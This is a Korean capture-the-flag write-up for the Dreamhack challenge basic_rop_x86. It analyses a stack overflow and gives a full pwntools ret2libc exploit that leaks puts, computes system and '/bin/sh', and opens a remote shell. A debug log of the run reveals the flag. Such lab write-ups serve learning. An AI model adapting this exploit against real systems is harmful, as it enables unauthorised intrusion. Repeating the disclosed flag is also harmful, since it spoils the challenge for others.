Description
이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x86)의 바이너리와 소스 코드가 주어집니다.
Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
Environment
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
Files
ubuntu@29c7cfc91700:~/dreamhack-CTF $ tree basic_rop_x86 basic_rop_x86 |-- Dockerfile |-- basic_rop_x86 |-- basic_rop_x86.c |-- flag `-- libc.so.6 0 directories, 5 files
32비트 libc.so.6 라이브러리 파일과 basic_rop_x86 리눅스 32비트 실행 파일, 그리고 소스코드가 주어진다.
아래 명령어로 도커로 환경 구축할 필요없이 patchelf를 통해
basic_rop_x86 실행 파일을 문제파일과 같이 제공된 libc.so.6 라이브러리로 교체해줄 수 있다.
ubuntu@29c7cfc91700:~/HackingLab/basic_rop_x86$ ldd ./basic_rop_x86 linux-gate.so.1 (0xf7f81000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d40000) /lib/ld-linux.so.2 (0xf7f83000) ubuntu@29c7cfc91700:~/HackingLab/basic_rop_x86$ patchelf --replace-needed libc.so.6 ./libc.so.6 ./basic_rop_x86 ubuntu@29c7cfc91700:~/HackingLab/basic_rop_x86$ ldd ./basic_rop_x86 linux-gate.so.1 (0xf7ecc000) ./libc.so.6 (0xf7c95000) /lib/ld-linux.so.2 (0xf7ece000)
분석
int __cdecl main(int argc, const char **argv, const char **envp) { char buf[64]; // [esp+0h] [ebp-44h] BYREF memset(buf, 0, sizeof(buf)); initialize(); read(0, buf, 0x400u); write(1, buf, 0x40u); return 0; }
64바이트 크기를 가진 buf 변수에 read 함수로 0x400만큼이나 읽어온다.
Solution
스택 구조
————————————
ret
————————————
이전 함수의 base pointer <- ebp
————————————
buf[64] <- ebp-0x44
————————————
gdb-peda$ p system $1 = {<text variable, no debug info>} 0xf7d21cb0 <system> gdb-peda$ p puts $2 = {<text variable, no debug info>} 0xf7d4c830 <puts> gdb-peda$ find /bin/sh Searching for '/bin/sh' in: None ranges Found 1 results, display max 1 items: libc.so.6 : 0xf7e930f5 ("/bin/sh")
- 먼저 libc puts 함수에 있는 주소를 leak시키고 main 함수를 다시 호출시키기 위해 페이로드를 구성한다.
(0x48바이트의 더미 데이터 + puts plt 주소 + main 주소 + puts got 주소) - leak된 puts 함수 주소를 이용하여 “/bin/sh” 문자열과 system 주소를 계산해서 쉘을 획득한다.
(0x48바이트의 더미 데이터 + libc system 주소 + 4바이트 더미데이터 + libc “/bin/sh” 문자열 주소)
from pwn import * context.log_level = 'debug' warnings.filterwarnings( 'ignore' ) #p = process("./basic_rop_x86") p = remote('host3.dreamhack.games', 18927) e = ELF('./basic_rop_x86') r = ROP(e) puts_plt = e.symbols['puts'] puts_got = e.got['puts'] main_func = e.symbols['main'] payload = b"\x41" * 0x48 + p32(puts_plt) + p32(main_func) + p32(puts_got) p.sendline(payload) print(p.recv(64)) leaked_puts = u32(p.recv(4)) print("[+] leaked puts: " + hex(leaked_puts)) system = leaked_puts - 0x2ab80 sh = leaked_puts + 0x1468c5 print("[+] system: " + hex(system)) payload2 = b"\x41" * 0x48 + p32(system) + b"A"*4 + p32(sh) p.sendline(payload2) p.interactive()
FLAG
DH{511346c4606e748addd555cc9947aacf67990d504fac432f5dbb0f14eea8363b}
ubuntu@29c7cfc91700:~/HackingLab/basic_rop_x86$ python3 pwn2.py [+] Opening connection to host3.dreamhack.games on port 18927: Done [*] '/home/ubuntu/HackingLab/basic_rop_x86/basic_rop_x86' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8047000) [*] Loaded 10 cached gadgets for './basic_rop_x86' [DEBUG] Sent 0x55 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000040 41 41 41 41 41 41 41 41 20 84 04 08 d9 85 04 08 │AAAA│AAAA│ ···│····│ 00000050 18 a0 04 08 0a │····│·│ 00000055 [DEBUG] Received 0x40 bytes: b'A' * 0x40 b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' [DEBUG] Received 0x15 bytes: 00000000 30 68 d7 f7 36 84 04 08 60 55 d2 f7 80 c5 e0 f7 │0h··│6···│`U··│····│ 00000010 30 6f d7 f7 0a │0o··│·│ 00000015 [+] leaked puts: 0xf7d76830 [+] system: 0xf7d4bcb0 [DEBUG] Sent 0x55 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000040 41 41 41 41 41 41 41 41 b0 bc d4 f7 41 41 41 41 │AAAA│AAAA│····│AAAA│ 00000050 f5 d0 eb f7 0a │····│·│ 00000055 [*] Switching to interactive mode 6\x84\x0`U\xd2\xf7\x80\xc5\xe0\xf70o\xd7\xf7 $ [DEBUG] Received 0x40 bytes: b'A' * 0x40 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x13 bytes: b'basic_rop_x86\n' b'flag\n' basic_rop_x86 flag $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x45 bytes: b'DH{511346c4606e748addd555cc9947aacf67990d504fac432f5dbb0f14eea8363b}\n' DH{511346c4606e748addd555cc9947aacf67990d504fac432f5dbb0f14eea8363b}